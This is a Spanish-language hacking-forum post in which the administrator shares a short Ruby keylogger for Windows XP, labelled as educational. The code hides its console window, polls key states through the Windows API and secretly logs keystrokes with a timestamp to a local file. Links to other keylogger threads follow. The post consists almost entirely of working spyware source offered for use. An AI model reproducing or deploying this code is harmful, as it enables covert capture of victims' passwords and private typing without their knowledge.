send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger

  • 0 Respuestas
  • 1106 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5301
  • Actividad:
    40%
  • Reputación 29
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 24, 2010, 04:10:00 pm »
Código: Ruby
  1. # a simple hookless keylogger, tested on winxp
  2. # written by nobot (for educational uses)
  3.  
  4. require 'Win32API'
  5.  
  6. #hide the console window.
  7. win = Win32API.new('kernel32' , 'GetConsoleWindow' , [] , 'L').call
  8. Win32API.new( 'user32' , 'ShowWindow' , ['p' , 'i'] , 'i' ).call(win, 0)
  9.  
  10. #hash mapping of interesting characters to virtual keycodes
  11. keys = Hash[' ' => 0x20, ',' => 0xBC, '.' => 0xBE]
  12. (0x30 .. 0x39).each {|v| keys[v-0x30] = v} #numerals 0-9
  13. (0x41 .. 0x5A).each {|v| keys[v.chr] = v} #letters A-Z
  14.  
  15. GetAsyncKeyState = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')
  16.  
  17. keys.each_value {|v| GetAsyncKeyState.call(v) }
  18.  
  19. file = File.open('evil_file.txt', 'a')
  20. file.puts "\n" + Time.now.to_s
  21. while true
  22.   break if GetAsyncKeyState.call(0x1B) & 0x01 == 1 #esc
  23.   keys.each {|k, v| file.print k if GetAsyncKeyState.call(v) & 0x01 == 1}
  24.   sleep 0.1
  25. end
  26. file.close
« Última modificación: Julio 31, 2014, 09:46:42 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!



[Ruby] Simple Keylogger

Iniciado por BigBear

Respuestas: 0
Vistas: 1417
Último mensaje Julio 03, 2011, 09:32:00 pm
por BigBear
Keylogger in ruby

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1505
Último mensaje Febrero 24, 2010, 03:58:51 pm
por ANTRAX